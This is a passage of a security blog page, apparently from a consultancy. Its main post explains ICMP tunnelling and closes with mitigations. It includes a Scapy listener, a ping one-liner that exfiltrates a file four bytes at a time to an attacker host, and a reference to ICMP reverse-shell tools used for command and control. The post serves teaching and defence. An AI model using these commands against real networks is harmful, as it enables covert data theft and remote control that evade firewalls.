FIRST is the Forum of Incident Response and Security Teams. Since 1990, when FIRST was founded, its members have resolved an almost continuous stream of security-related attacks and incidents including handling thousands of security vulnerabilities affecting nearly all of the millions of computer systems and networks throughout the world connected by the ever growing Internet.
FIRST brings together a wide variety of security and incident response teams including especially product security teams from the government, commercial, and academic sectors.
TLP means Traffic Light Protocol, it is a protocol created by the Special Interest Group of FIRST (FIRST TLP SIG).
My experience working as a developer (2003-2015) and then as a full-time Application Security Consultant (2015-present).
The collection of trainings I have recently followed about Threat Modeling activity.
My regular technical survey on the Application Security field.
📢 Therefore, it is quite possible that my point of view is wrong in some aspect or biased. In this case, I will be more than happy to get feedback to make my point of view evolve.
Today’s Context about Covid and Teleworking. How is it going ?
Remote working is here to stay, requiring companies to maintain their efforts to combat cyber-attacks. Companies are now requesting security solutions to accommodate this new level of flexibility. To adapt to a changing world, some are embracing to hybrid work, while others are opting for full-time telecommuting. The goal is the same: to transparently improve workers’ working conditions regardless of their location.
If having unrestricted access to a customer’s IT assets is an integral part of a service provider’s business, it leaves them vulnerable. By offering comprehensive PAM solutions, distributors will be able to secure, manage and monitor access to their own and their customers’ privileged accounts, keeping their network’s most valuable keys safe.
The goal of this post is to provide basics of Web Assessmbly (abbreviated “Wasm”), so the next time you encounter it, you will be able to understand it and test it.
I will not cover all the available instructions as documentation exists for that (see a bit below), but I will try to give you the keys to understand any Wasm code.
The ping command is one of the first commands you learned when coming to the IT world. And yet, it is possible that it is still hiding secrets from you.
Through this blog post, I will demonstrate how attackers could use the protocol behind this command to bypass firewall rules leading to data exfiltration or communication with a command and control.
How does the Internet Control Message Protocol (ICMP) work ?
The ping command use the Internet Control Message Protocol (ICMP) which is a supporting protocol in the Internet protocol suite.
It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address for example. An error is indicated when a requested service is not available or if that a host could not be reached.
In fact, when you use the ping command, two types of control messages are used:
The type 0 which is an Echo Reply.
The type 8 which is an Echo Request
From the RFC792 which defines ICMP for IPv4, the fields for an echo or reply message are the following :
As an attacker, the data field is the one useful to communicate. In a usual case of pinging, the data received in the echo request message must be returned in the echo reply message. That’s how we know that a remote host is reachable.
An In-depth examination of the topic
Let’s see an example, below is a ping initiated from a Windows machine.
Figure 1 – Ping initiated from Windows machine
The ping is successful and from the output, two values should be noticed :
The TTL (Time To Live) value which could be used to help you identify the kind of OS of the remote machine. For a TTL value <= 64, it’s usually a Unix based OS.
The bytes value which is the length of the data, in this case the data is 32 bytes long.
Analysing the same ping using Wireshark showed that each echo request from my Windows machine sends the alphabet by default. As expected, the same data is returned by the remote Linux machine.
Figure 2 – Windows ping analysis
However sending the alphabet is not mandatory. In fact, the ICMP protocol allows sending any data as we want.
To prove it, let’s initiate a ping from the Linux machine this time. By default the Windows host firewall deny the ICMP Echo Request IN so the according rule should be open.
Figure 3 – Ping initiated from Linux machine
This time we can notice that the TTL value is <= 128. This indicates a reply from a Windows machine.
Analysing the ping showed the alphabet is not sent anymore and the data is longer than 32 bytes.
Figure 4 – Linux ping analysis
However, 48 bytes are still far from the maximum allowed. Indeed, because ICMP is built on top of the IP layer, in its version 4, the maximum size allowed by these packets is 65535 bytes. Removing the headers of IP (20 bytes at least) and ICMP (8 bytes), it is possible to have 65507 bytes of ICMP data.
But if we assume the maximum transmission unit is set to 1500 (which is the default for ethernet), the maximum payload without fragmentation is limited to 1472 bytes (1500 – 20 -8). In case of fragmentation, the server should be able to handle multiple icmp requests and add their data together.
A Simple Proof of Concept (PoC)
As shown in the previous experience, we can communicate different data with different lengths through ICMP request and reply. Knowing that, we could exfiltrate the content of a file or performed commands send by a command and control server using ICMP.
However, to do this, we first need to disable ICMP replies from our attacker server by running the following command as root :
sysctl -w net.ipv4.icmp_echo_ignore_all=1
Otherwise, the client is unlikely to receive commands send from the server because automatic replies will send back the same data.
Once the command done, pinging from our Windows machine now print a request timed out because no data is returned.
Figure 5 – Request timed out because no reply received
Analysing from the Linux machine showed the communication is one-way.
Figure 6 – ICMP automatic replies disabled
Let’s craft a simple Proof of Concept to exfiltrate a file content based on ICMP request. To do this, a very useful python library named Scapy was used.
Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.
On the server side, this simple script which should be run as root will just listen for ICMP on the wire. For each packet received, it will run the exfiltration function which parse and collect the last 4 bytes of the ICMP data using the load method.
#!/usr/bin/python3
from scapy.all import ICMP,sniffinterface = “eth0”
remote_host = “192.168.23.138”def exfiltration(packet):
if packet.haslayer(ICMP):
if packet[ICMP].type == 8:
data = packet[ICMP].load[-4:]
print(data. Decode(‘utf-8’), flush=True, end=””)sniff(iface=interface, filter=”icmp and host “+remote_host, store=True, prn=exfiltration)
Client side, on a Linux machine, we could exfiltrate a file using this simple command :
xxd -p -c 4 test.txt | while read line; do ping -c 1 -p $line 192.168.23.139; done
Where test.txt is the file we want to exfiltrate. Notice this is very long because the data is sent 4 bytes by 4 bytes, the -p option of the default ping binary allow up to 16 bytes.
Otherwise we could also use Python and Scapy to send data more rapidly by crafting our ICMP packets.
Finally, if we were on a Windows machine, the native ping binary has no options to custom the icmp data. We could run a crafted exe but there is usually fewer restrictions regarding companies policies on PowerShell which allows to perform this customisation like in the tool Invoke-PowerShellIcmp.ps1.
Discover a Suite of Complete Tools to get an ICMP shell
The previous PoC is not optimised because it is a one-way communication and all the data bytes available for the protocol were not used. This leads me to introduce a suite of complete tools which exploit fully the ICMP protocol in a form of a shell.
First, Icmpsh which is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C, Perl or Python2. It does not require administrative privileges to run onto the target machine but an executable should be dropped on the machine, which can be hard to do in case of endpoint hardening for example. Furthermore, Invoke-PowerShellIcmp.ps1 is a client compatible with icmpsh and could be more easily dropped on the client machine.
Next, icmpdoor is a shell written with Python3 and Scapy, it comes with an executable to run it directly on Windows.
Below is an example of the above tool running. From the Linux C2 machine, I’m able to run command on the Windows target machine, through ICMP.
Figure 7 – Connect to the C2 from the victim machine
Figure 8 – Running commands through ICMP tunnelling from the C2
How to mitigate ?
You should now ask yourself how mitigate this. Well, there is a radical option which consists to block ICMP traffic and so ICMP tunnelling. But in practice, many companies don’t want to lose the ping functionality that is very useful in many situations for debugging purposes.
Another way to mitigate this type of attack is to only allow fixed sized ICMP packets through firewalls, which can impede this kind of behavior. But again, an attacker could craft ICMP packets with a length which look like legitimate (e.g 32 bytes of data).
The best answer, in my opinion, is to disable ICMP outgoing traffic and enable ICMP traffic inside only where it is necessary. Furthermore, defenders should monitor carefully on the wire for suspect behaviors such as ICMP request without default value as data.
If you like this article, discover other related articles addressing privileged access management or cybersecurity articles on Excellium Services blog.
Cyber threats have grown significantly over the last decade. From simple malware to complex advanced persistent threat groups. Threat actors have progressed significantly, they are constantly improving their methods and techniques to breach security controls causing massive damage and disruptions.
This post is based on my understanding and feedback after studying the Self Sovereign Identity concepts (SSI ) via all the documents and videos provided by Damien Bod in his blog post about SSI.
Businesses now more than ever, are vulnerable to cyber-attacks. This is why we willfocus on prevention and how to stay ahead of attackers with the use of a Privileged Access Management (PAM) solution.
Armacell: Speeding Up Incident Response and Recovery with Azure Sentinel
Armacell is a global manufacturing company, providing flexible insulation foams for the equipment insulation market. As a growing company relying increasingly on the cloud, they need fortifying their defence against security threats. As part of that initiative, they needed a partner that could manage threat identification and incident response with them — and that’s where Excellium came in. Building their solution on Azure Sentinel, Excellium will help Armacell with a cost-effective approach to event collection and collation, threat detection, incident investigation, and rapid response. Read on for the details. Read more
The technique of hiding information in public data is called steganography. The Base64 encoding uses 0-padding when encoding data. It is possible to hide information in this padding, as it is disregarded upon decoding. For efficiently hiding larger amounts multiple strings need to be encoded as one Base64-encoded string can contain 4, 2 or 0 bits of secret text. This article explains the technique, provides a python code for hiding and retrieving the information and shows performance information about the method.
Our website uses cookies technologies to assist with navigation and your ability to provide feedback, analyze your use of our products and services, to enable you to use the social media functionalities and assist with our promotional and marketing efforts, and provide content from third parties. You may choose to opt-out from all non-essential cookies or allow them for a better browsing experience.
For more information on the use of cookies, Please check our Privacy NoticeACCEPTREJECTSETTINGS
Privacy & Cookies Policy
Privacy Overview
This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may have an effect on your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Functional cookies help to perform certain functionalities like sharing the content of the website on social media platforms, collect feedbacks, and other third-party features.
Performance cookies are used to understand and analyze the key performance indexes of the website which helps in delivering a better user experience for the visitors.
Cookie
Duration
Description
SRM_B
1 year 24 days
Used by Microsoft Advertising as a unique ID for visitors.
Analytical cookies are used to understand how visitors interact with the website. These cookies help provide information on metrics the number of visitors, bounce rate, traffic source, etc.
Cookie
Duration
Description
CLID
1 year
Microsoft Clarity set this cookie to store information about how visitors interact with the website. The cookie helps to provide an analysis report. The data collection includes the number of visitors, where they visit the website, and the pages visited.
CONSENT
2 years
YouTube sets this cookie via embedded youtube-videos and registers anonymous statistical data.
MR
7 days
This cookie, set by Bing, is used to collect user information for analytics purposes.
SM
session
Microsoft Clarity cookie set this cookie for synchronizing the MUID across Microsoft domains.
_clck
1 year
Microsoft Clarity sets this cookie to retain the browser's Clarity User ID and settings exclusive to that website. This guarantees that actions taken during subsequent visits to the same website will be linked to the same user ID.
_clsk
1 day
Microsoft Clarity sets this cookie to store and consolidate a user's pageviews into a single session recording.
Advertisement cookies are used to provide visitors with relevant ads and marketing campaigns. These cookies track visitors across websites and collect information to provide customized ads.
Cookie
Duration
Description
ANONCHK
10 minutes
The ANONCHK cookie, set by Bing, is used to store a user's session ID and also verify the clicks from ads on the Bing search engine. The cookie helps in reporting and personalization as well.
MUID
1 year 24 days
Bing sets this cookie to recognize unique web browsers visiting Microsoft sites. This cookie is used for advertising, site analytics, and other operations.
VISITOR_INFO1_LIVE
5 months 27 days
A cookie set by YouTube to measure bandwidth that determines whether the user gets the new or old player interface.
YSC
session
YSC cookie is set by Youtube and is used to track the views of embedded videos on Youtube pages.
yt-remote-connected-devices
never
YouTube sets this cookie to store the video preferences of the user using embedded YouTube video.
yt-remote-device-id
never
YouTube sets this cookie to store the video preferences of the user using embedded YouTube video.
yt.innertube::nextId
never
This cookie, set by YouTube, registers a unique ID to store data on what videos from YouTube the user has seen.
yt.innertube::requests
never
This cookie, set by YouTube, registers a unique ID to store data on what videos from YouTube the user has seen.